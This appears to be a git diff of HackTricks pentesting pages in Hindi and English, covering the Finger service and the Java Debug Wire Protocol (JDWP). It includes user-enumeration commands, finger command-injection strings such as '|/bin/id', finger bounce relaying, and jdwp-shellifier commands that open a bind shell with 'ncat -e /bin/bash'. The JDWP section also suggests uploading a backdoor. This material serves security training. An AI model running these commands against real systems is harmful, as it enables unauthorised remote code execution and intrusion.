AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
# 79 - पेंटेस्टिंग फिंगर
|
# 79 - Pentesting Finger
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **मूल जानकारी**
|
## **Basic Info**
|
||||||
|
|
||||||
**फिंगर** प्रोग्राम/सेवा का उपयोग कंप्यूटर उपयोगकर्ताओं के बारे में विवरण प्राप्त करने के लिए किया जाता है। सामान्यत: प्रदान की जाने वाली जानकारी में **उपयोगकर्ता का लॉगिन नाम, पूरा नाम** और, कई मामलों में, अतिरिक्त विवरण शामिल हो सकते हैं। ये अतिरिक्त विवरण कार्यालय स्थान और फोन नंबर (यदि उपलब्ध है), उपयोगकर्ता ने कब लॉग इन किया, निष्क्रिय समय की अवधि (आइडल समय), उपयोगकर्ता द्वारा अंतिम बार मेल पढ़ा गया, और उपयोगकर्ता की योजना और परियोजना फ़ाइलों की सामग्री शामिल हो सकती है।
|
**Finger** प्रोग्राम/सेवा का उपयोग कंप्यूटर उपयोगकर्ताओं के बारे में विवरण प्राप्त करने के लिए किया जाता है। आमतौर पर, प्रदान की गई जानकारी में **उपयोगकर्ता का लॉगिन नाम, पूरा नाम** और, कुछ मामलों में, अतिरिक्त विवरण शामिल होते हैं। ये अतिरिक्त विवरण कार्यालय का स्थान और फोन नंबर (यदि उपलब्ध हो), उपयोगकर्ता द्वारा लॉगिन करने का समय, निष्क्रियता की अवधि (आइडल टाइम), उपयोगकर्ता द्वारा पढ़ा गया अंतिम ईमेल, और उपयोगकर्ता की योजना और परियोजना फ़ाइलों की सामग्री शामिल हो सकते हैं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 79
|
**डिफ़ॉल्ट पोर्ट:** 79
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
79/tcp open finger
|
79/tcp open finger
|
||||||
```
|
```
|
||||||
## **जांच**
|
## **सूचना संग्रहण**
|
||||||
|
|
||||||
### **बैनर ग्रबिंग/मूल कनेक्शन**
|
### **बैनर ग्रैबिंग/बुनियादी कनेक्शन**
|
||||||
```bash
|
```bash
|
||||||
nc -vn <IP> 79
|
nc -vn <IP> 79
|
||||||
echo "root" | nc -vn <IP> 79
|
echo "root" | nc -vn <IP> 79
|
||||||
|
@ -36,19 +37,19 @@ finger @<Victim> #List users
|
||||||
finger admin@<Victim> #Get info of user
|
finger admin@<Victim> #Get info of user
|
||||||
finger user@<Victim> #Get info of user
|
finger user@<Victim> #Get info of user
|
||||||
```
|
```
|
||||||
आप **finger-user-enum** का उपयोग कर सकते हैं [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum) से, कुछ उदाहरण:
|
वैकल्पिक रूप से आप [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum) से **finger-user-enum** का उपयोग कर सकते हैं, कुछ उदाहरण:
|
||||||
```bash
|
```bash
|
||||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||||
finger-user-enum.pl -u root -t 10.0.0.1
|
finger-user-enum.pl -u root -t 10.0.0.1
|
||||||
finger-user-enum.pl -U users.txt -T ips.txt
|
finger-user-enum.pl -U users.txt -T ips.txt
|
||||||
```
|
```
|
||||||
#### **Nmap डिफ़ॉल्ट स्क्रिप्ट का उपयोग करने के लिए एक स्क्रिप्ट को निष्पादित करता है**
|
#### **Nmap डिफ़ॉल्ट स्क्रिप्ट का उपयोग करके स्क्रिप्ट निष्पादित करता है**
|
||||||
|
|
||||||
### Metasploit Nmap से अधिक तरीके का उपयोग करता है
|
### Metasploit Nmap की तुलना में अधिक तरकीबें का उपयोग करता है
|
||||||
```
|
```
|
||||||
use auxiliary/scanner/finger/finger_users
|
use auxiliary/scanner/finger/finger_users
|
||||||
```
|
```
|
||||||
### शोडन
|
### Shodan
|
||||||
|
|
||||||
* `port:79 USER`
|
* `port:79 USER`
|
||||||
|
|
||||||
|
@ -57,23 +58,24 @@ use auxiliary/scanner/finger/finger_users
|
||||||
finger "|/bin/id@example.com"
|
finger "|/bin/id@example.com"
|
||||||
finger "|/bin/ls -a /@example.com"
|
finger "|/bin/ls -a /@example.com"
|
||||||
```
|
```
|
||||||
## फिंगर बाउंस
|
## Finger Bounce
|
||||||
|
|
||||||
[एक सिस्टम का उपयोग एक फिंगर रिले के रूप में करें](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
[एक सिस्टम को फिंगर रिले के रूप में उपयोग करें](https://securiteam.com/exploits/2BUQ2RFQ0I/)
|
||||||
```
|
```
|
||||||
finger user@host@victim
|
finger user@host@victim
|
||||||
finger @internal@external
|
finger @internal@external
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,62 +1,61 @@
|
||||||
# पेंटेस्टिंग JDWP - जावा डीबग वायर प्रोटोकॉल
|
# Pentesting JDWP - Java Debug Wire Protocol
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## शोषण
|
## Exploiting
|
||||||
|
|
||||||
JDWP शोषण **प्रोटोकॉल की प्रमाणीकरण और एन्क्रिप्शन की कमी** पर निर्भर करता है। यह आम तौर पर **पोर्ट 8000** पर पाया जाता है, लेकिन अन्य पोर्ट भी संभावित है। प्रारंभिक कनेक्शन को लक्षित करने के लिए "JDWP-Handshake" को लक्षित पोर्ट पर भेजकर बनाया जाता है। यदि JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ प्रतिसाद देता है, अपनी मौजूदगी की पुष्टि करता है। यह हैंडशेक एक फिंगरप्रिंटिंग विधि के रूप में काम करता है जिससे नेटवर्क पर JDWP सेवाओं की पहचान की जा सकती है।
|
JDWP शोषण **प्रोटोकॉल की प्रमाणीकरण और एन्क्रिप्शन की कमी** पर निर्भर करता है। यह सामान्यतः **पोर्ट 8000** पर पाया जाता है, लेकिन अन्य पोर्ट भी संभव हैं। प्रारंभिक कनेक्शन "JDWP-Handshake" को लक्षित पोर्ट पर भेजकर बनाया जाता है। यदि एक JDWP सेवा सक्रिय है, तो यह उसी स्ट्रिंग के साथ प्रतिक्रिया देती है, इसकी उपस्थिति की पुष्टि करती है। यह हैंडशेक नेटवर्क पर JDWP सेवाओं की पहचान के लिए एक फिंगरप्रिंटिंग विधि के रूप में कार्य करता है।
|
||||||
|
|
||||||
प्रक्रिया पहचान के संदर्भ में, जावा प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज करना एक सक्रिय JDWP सत्र की ओर संकेत कर सकता है।
|
प्रक्रिया पहचान के संदर्भ में, Java प्रक्रियाओं में "jdwk" स्ट्रिंग की खोज एक सक्रिय JDWP सत्र को इंगित कर सकती है।
|
||||||
|
|
||||||
जीडब्ल्यूडीपी शैलिफायर](https://github.com/hugsy/jdwp-shellifier) जानकारी के लिए जानकारी के लिए जा सकता है। आप इसे विभिन्न पैरामीटर के साथ उपयोग कर सकते हैं:
|
उपयोग करने के लिए सबसे अच्छा उपकरण [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier) है। आप इसे विभिन्न पैरामीटर के साथ उपयोग कर सकते हैं:
|
||||||
```bash
|
```bash
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||||
```
|
```
|
||||||
मैंने पाया कि `--break-on 'java.lang.String.indexOf'` का उपयोग एक्सप्लॉइट को और **स्थिर** बनाता है। और अगर आपके पास मेज़बान पर एक बैकडोर अपलोड करने और उसे कमांड का निष्पादन करने की बजाय निष्पादित करने का मौका है, तो एक्सप्लॉइट और भी अधिक स्थिर होगा।
|
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **stable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
|
||||||
|
|
||||||
## अधिक विवरण
|
## More details
|
||||||
|
|
||||||
**यह [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) का सारांश है**। अधिक विवरण के लिए इसे देखें।
|
**यह [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) का सारांश है।** आगे की जानकारी के लिए इसे देखें।
|
||||||
|
|
||||||
|
1. **JDWP Overview**:
|
||||||
|
- यह एक पैकेट-आधारित नेटवर्क बाइनरी प्रोटोकॉल है, जो मुख्य रूप से समकालिक है।
|
||||||
|
- इसमें प्रमाणीकरण और एन्क्रिप्शन की कमी है, जिससे यह शत्रुतापूर्ण नेटवर्क के सामने कमजोर हो जाता है।
|
||||||
|
|
||||||
1. **JDWP अवलोकन**:
|
2. **JDWP Handshake**:
|
||||||
- यह एक पैकेट-आधारित नेटवर्क बाइनरी प्रोटोकॉल है, मुख्य रूप से समकालिक।
|
- संचार शुरू करने के लिए एक सरल हैंडशेक प्रक्रिया का उपयोग किया जाता है। एक 14-चर ASCII स्ट्रिंग “JDWP-Handshake” डिबगर (क्लाइंट) और डिबगी (सर्वर) के बीच आदान-प्रदान की जाती है।
|
||||||
- प्रमुखत: प्रमाणीकरण और एन्क्रिप्शन की कमी, इसे शत्रुतात्मक नेटवर्कों के सामने रखने पर भेद्य बनाती है।
|
|
||||||
|
|
||||||
2. **JDWP हैंडशेक**:
|
3. **JDWP Communication**:
|
||||||
- संचार प्रारंभ करने के लिए एक सरल हैंडशेक प्रक्रिया का उपयोग किया जाता है। डीबगर (ग्राहक) और डीबगी (सर्वर) के बीच एक 14-वर्णीय ASCII स्ट्रिंग "JDWP-हैंडशेक" का आदान-प्रदान होता है।
|
- संदेशों की एक सरल संरचना होती है जिसमें Length, Id, Flag, और CommandSet जैसे फ़ील्ड होते हैं।
|
||||||
|
- CommandSet मान 0x40 से 0x80 के बीच होते हैं, जो विभिन्न क्रियाओं और घटनाओं का प्रतिनिधित्व करते हैं।
|
||||||
|
|
||||||
3. **JDWP संचार**:
|
4. **Exploitation**:
|
||||||
- संदेशों में लंबाई, आईडी, झंडा, और कमांडसेट जैसे फ़ील्ड्स होते हैं।
|
- JDWP मनमाने वर्गों और बाइटकोड को लोड और लागू करने की अनुमति देता है, जो सुरक्षा जोखिम पैदा करता है।
|
||||||
- कमांडसेट मान 0x40 से 0x80 तक होते हैं, जो विभिन्न क्रियाएँ और घटनाएँ प्रतिनिधित करते हैं।
|
- लेख में पांच चरणों में एक शोषण प्रक्रिया का विवरण दिया गया है, जिसमें Java Runtime संदर्भों को लाना, ब्रेकपॉइंट सेट करना, और विधियों को लागू करना शामिल है।
|
||||||
|
|
||||||
4. **शोषण**:
|
5. **Real-Life Exploitation**:
|
||||||
- JDWP अनियमित क्लासेस और बाइटकोड लोड और आमंत्रित करने की अनुमति देता है, जो सुरक्षा जोखिम पैदा करता है।
|
- संभावित फ़ायरवॉल सुरक्षा के बावजूद, JDWP सेवाएँ वास्तविक दुनिया के परिदृश्यों में खोजी जा सकती हैं और शोषित की जा सकती हैं, जैसा कि ShodanHQ और GitHub जैसे प्लेटफार्मों पर खोजों द्वारा प्रदर्शित किया गया है।
|
||||||
- लेख में पांच स्टेप्स में एक शोषण प्रक्रिया का विवरण दिया गया है, जिसमें जावा रनटाइम संदर्भों को प्राप्त करना, ब्रेकपॉइंट सेट करना, और विधियों को आमंत्रित करना शामिल है।
|
- शोषण स्क्रिप्ट को विभिन्न JDK संस्करणों के खिलाफ परीक्षण किया गया था और यह प्लेटफ़ॉर्म-स्वतंत्र है, जो विश्वसनीय Remote Code Execution (RCE) प्रदान करता है।
|
||||||
|
|
||||||
5. **वास्तविक जीवन शोषण**:
|
6. **Security Implications**:
|
||||||
- संभावित फ़ायरवॉल संरक्षण के बावजूद, JDWP सेवाएं खोजने और उन्हें वास्तविक दुनिया की स्थितियों में शोषित किया जा सकता है, जैसा कि ShodanHQ और GitHub जैसे प्लेटफ़ॉर्मों पर खोजों द्वारा प्रदर्शित किया गया है।
|
- इंटरनेट पर खुले JDWP सेवाओं की उपस्थिति नियमित सुरक्षा समीक्षाओं की आवश्यकता को रेखांकित करती है, उत्पादन में डिबग कार्यक्षमताओं को अक्षम करना, और उचित फ़ायरवॉल कॉन्फ़िगरेशन।
|
||||||
- एक्सप्लॉइट स्क्रिप्ट को विभिन्न JDK संस्करणों के खिलाफ परीक्षण किया गया था और यह प्लेटफ़ॉर्म-असमर्थ, विश्वसनीय दूरस्थ कोड निष्पादन (RCE) प्रदान करता है।
|
|
||||||
|
|
||||||
6. **सुरक्षा प्रभाव**:
|
### **References:**
|
||||||
- इंटरनेट पर खुली JDWP सेवाओं की मौजूदगी नियमित सुरक्षा समीक्षा, उत्पादन में डीबग क्षमताओं को अक्षम करने, और उचित फ़ायरवॉल विन्यास की आवश्यकता को दर्शाती है।
|
|
||||||
|
|
||||||
|
|
||||||
### **संदर्भ:**
|
|
||||||
|
|
||||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||||
|
@ -71,16 +70,17 @@ JDWP शोषण **प्रोटोकॉल की प्रमाणीक
|
||||||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,43 +1,45 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
